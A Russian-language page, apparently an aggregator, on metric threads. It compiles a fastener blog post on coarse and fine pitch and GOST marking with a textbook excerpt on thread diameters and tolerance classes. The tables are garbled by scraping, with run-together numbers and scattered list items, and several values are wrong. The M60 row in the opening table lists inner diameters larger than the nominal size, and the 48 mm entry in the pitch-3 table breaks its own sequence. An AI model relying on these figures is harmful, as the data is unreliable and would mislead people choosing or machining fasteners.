M 42 4.5 / 37.4 3(4) / 37.9 2 / 40 1.5 / 40.5
M 45 4.5 / 40.4 3(4) / 40.9 2 / 43 1.5 / 43.5
M 48 5 / 42.8 3 / 44.9 2 / 46 1.5 / 46.5
M 52 5 / 46.8 (4)3 / 48.9 2 / 50 1.5 / 50.5
M 56 5.5 / 50.4 4 / 51.9 3(2) / 53 1.5 / 54.5
M 60 5.5 / 64.4 4 / 55.8 3(2) / 67 1.5 / 58
M 64 6 / 57.8 4 / 59.8 3 / 61 2(1.5) / 62
M 68 6 / 61.8 4 / 63.8 3 / 65 2(1.5) / 66

Буква «М» около диаметра резьбы дает нам знать, что резьба метрическая, т.е. не дюймовая, а именно метрическая 

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром

В соответствии с нормативным документом предприятиями-производителями может выпускаться крепеж с 2-мя типами шагов метрической резьбы — мелким и крупным.

Для одного размера крепежного изделия стандартом определен только один крупный и несколько мелких шагов резьбы.

Для крепежа номинальным диаметром менее 1 мм в соответствии с ГОСТом установлен только крупный, от 1 мм до 64 мм — крупный и мелкий, от 72 мм до 600 мм — только мелкий.

Выбираем параметры

Как правильно выбрать метизы, с какими параметрами? Основной шаг резьбы для метизных изделий, используемых на территории РФ — метрический крупный. Практически весь строительный крепеж с крупным шагом резьбы.

Он продается продается повсеместно в метизных магазинах и компаниях и является рекомендуемым к применению. Резьбовые метизы с мелким шагом в основном используют в точках крепления, подверженных вибрационным, динамическим знакопеременным нагрузкам.

Например, гайки и болты с мелким шагом резьбы крепят колесные диски к ступице. Крепеж с мелкой резьбой высоко востребован в автомобиле-, судо-, станко- и авиастроении.

Шаг резьбы в маркировке крепежа

  • Соответственно ГОСТ 8724-2002 обозначение крупного шага резьбы в маркировке опускается, а размер мелкого указывается.
  • Например:
  • М16 — резьба метрическая (знак “М”) с номинальным диаметром 16 мм и крупным шагом (крупный шаг резьбы болта, гайки, шпильки, винта 2,0 мм);
  • М16 х 1 — резьба метрическая (знак “М”) с номинальным диаметром 16 мм и мелким шагом 1,0 мм.
  • Обозначение шагов резьбы гаек, штанг, болтов, винтов идентично, независимо от того, внутренняя или наружная.
  • Полное обозначение резьбы включает:
  • М — метрическая;
  • номинальный диаметр;
  • размер шага в миллиметрах (крупный опускается);
  • направление — для левой LH;
  • специальное обозначение многозаходной Ph со значением хода.

Посмотреть соотношение диаметров метизов с основным и мелким шагом резьбы можно в таблице выше.

Полезные советы 09.07.2019 14:48:23

Источник: https://Krepcom.ru/blog/poleznye-sovety/shag-rezby-osnovnoy-i-melkiy-u-boltov-i-gaek/

Основные параметры метрических резьб

Шаг резьбы, Р, мм Наружный диаметр d для резьб Средний диаметр d2, D2, мм Внутренний диаметр d1, D1, мм
С крупным шагом, мм С мелким шагом, мм
1 6 810
  • 5,350
  • 7,350
  • 9,350
  1. 4,917
  2. 6,917
  3. 8,917
1,25 8 10 7,1889,188 6,6478,647
1,5 10
  • 12
  • 14
  • 16
  1. 9,026
  2. 11,026
  3. 13,026
  4. 15,026
  • 8,386
  • 10,386
  • 12,386
  • 14,386
1,75 12 10,863 10,106
2 1416
  1. 18
  2. 20
  3. 22
  4. 24
  • 12,701
  • 14,701
  • 16,701
  • 18,701
  • 20,701
  • 22,701
  1. 11,835
  2. 13,835
  3. 15,835
  4. 17,835
  5. 19,835
  6. 21,835
2,5
  • 18
  • 20
  • 22
  1. 16,376
  2. 18,376
  3. 20,376
  • 15,294
  • 17,294
  • 19,294
3 2427
  1. 30
  2. 36
  3. 42
  4. 48
  5. 56
  6. 64
  7. 72
  8. 80
  • 22,051
  • 25,051
  • 28,051
  • 34,051
  • 40,051
  • 46,051
  • 54,051
  • 62,051
  • 70,051
  • 78,051
  1. 20,752
  2. 23,752
  3. 26,752
  4. 32,752
  5. 38,752
  6. 42,752
  7. 52,752
  8. 60,752
  9. 68,752
  10. 76,752
3,5 3033 27,72730,727 26,21129,211

Окончание
табл. 27

Шаг резьбы, Р, мм Наружный диаметр d для резьб Средний диаметр d2, D2, мм Внутренний диаметр d1, D1, мм
С крупным шагом, мм С мелким шагом, мм
4 36
  • 64
  • 72
  • 80
  • 90
  1. 33,402
  2. 61,402
  3. 69,402
  4. 77,402
  5. 87,402
  • 31,670
  • 59,670
  • 67,670
  • 75,670
  • 85,670
4,5 42 39,077 37,129
48 44,752 42,587
6 64
  1. 72
  2. 80
  3. 90
  4. 100
  • 60,103
  • 68,103
  • 76,103
  • 86,103
  • 96,103
  1. 57,505
  2. 65,505
  3. 73,505
  4. 83,505
  5. 93,505

2.2. Нормирование точности метрических резьб при посадках с зазором

Нормирование
точности любых цилиндрических резьб с
прямолинейными боковыми сторонами
(метрической, трапецеидальной, упорной
и др.) построено по единым принципам.

Для
обеспечения взаимозаменяемости болта
и гайки на длине свинчивания устанавливают
предельные контуры резьбы свинчиваемых
деталей. Предельные контуры резьбового
соединения при посадке с зазором показаны
на рис. 26.

Действительные
контуры свинчиваемых деталей определяются
действительными размерами наружных
d(D),
средних d2(D2)
и внутренних d1(D1)
диаметров, шага Р
и угла профиля .

Общие
принципы задания допусков и посадок
резьбовых соединений аналогичны
нормированию требований точности к
гладким соединениям деталей.

Для
наиболее распространенных метрических
резьб с зазором с диаметрами от 1 до 600
мм (ГОСТ 16093-2004) установлены следующие
степени точности и основные отклонения
(табл. 28).

Рис.
26. Предельные контуры резьбового
соединения при посадке

с
зазором

Таблица
28

Степени точности и основные отклонения метрических резьб

Нормируемыйпараметр в мм Степени точности Основныеотклонения
  • Диаметр болта:
  • наружный d
  • средний d2
  • Диаметр гайки:
  • внутренний D1
  • средний D2
  1. 4; 6; 8
  2. 3; 4; 5; 6; 7; 8; 9; 10
  3. 4; 5; 6; 7; 8
  4. 4; 5; 6; 7; 8; 9
  • d; е; f; q; h
  • d; е; f; q; h
  • Е; F; G; Н
  • Е; F; G; Н
Примечание:* – только для деталей из пластмасс

Расположение
полей допусков по контурам профилей
резьбы показано на рис. 26. Расположение
основных отклонений диаметров метрической
резьбы на схемах полей допусков
относительно нулевой линии аналогично
расположению соответствующих основных
отклонений диаметров гладких соединений.

Основные
отклонения Е
и F
применяются в специальных случаях,
когда на резьбу наносятся защитные
покрытия значительной толщины. Нулевыми
линиями для отсчета отклонений
перпендикулярно оси резьбы являются
линии номинального профиля.

Основными
отклонениями являются для наружной
резьбы –еs,
а для внутренней резьбы +EI,
так как в посадках с зазором поле допуска
направлено «в тело» резьбовой детали.
Основные отклонения h=H=0,
как и для гладких соединений.

Длина
свинчивания оказывает влияние на степень
точности и допуск резьбы, поэтому
установлено три группы длин свинчивания:
N
– нормальные, L
– длинные и S
– короткие.

Длина
свинчивания, отличная от нормальной,
может быть оговорена в обозначении
резьбы или технических требованиях.
Допуск резьбы при отсутствии оговорок
может относиться ко всей длине резьбы,
если она меньше нормальной.

Если длины
свинчивания меньше 2,24 
Р

d0,2,
то они относятся к коротким, если длины
свинчивания больше 6,7 
Р

d0,2
(d
и Р
в мм), то они относятся к длинным, а
посередине этого интервала находятся
нормальные длины свинчивания.

Для
сравнительной оценки точности резьбы
введено понятие классов
точности
:
точный, средний, грубый.

Для одного и
того же класса точности при длине
свинчивания S
допуск среднего диаметра рекомендуется
уменьшать, а при длине свинчивания L
увеличивать на одну степень точности
по сравнению с нормальной длиной
свинчивания (табл. 29). В каждый класс
точности включены определенные поля
допусков предпочтительного, обычного
и ограниченного применения.

Резьбы
точного класса применяют для ответственных
статически нагруженных резьбовых
соединений, а также для получения посадок
с малыми колебаниями характера соединения.
Для резьбовых соединений общего
назначения применяют резьбы среднего
класса, а при пониженных требованиях к
точности, например, в длинных глухих
отверстиях применяют грубый класс
точности.

Посадки
с зазором образуются любым сочетанием
полей допусков болтов и гаек из табл.
28, но предпочтение следует отдавать
сочетаниям полей допусков одного класса
точности. Причем в первую очередь
необходимо применять поля допусков
предпочтительного применения, которые
позволяют получать посадки с наименьшими
зазорами.

Допуски
наружных диаметров болтов Td
и
внутренних диаметров гаек приведены в табл. 30.

В
табл. 31 приведены основные отклонения
диаметров болтов и гаек.

Допуски
средних диаметров болтов и гаекприведены в табл. 32.

Таблица
29

Источник: https://studfile.net/preview/2800871/page:21/

Ссылка на основную публикацию
Adblock
detector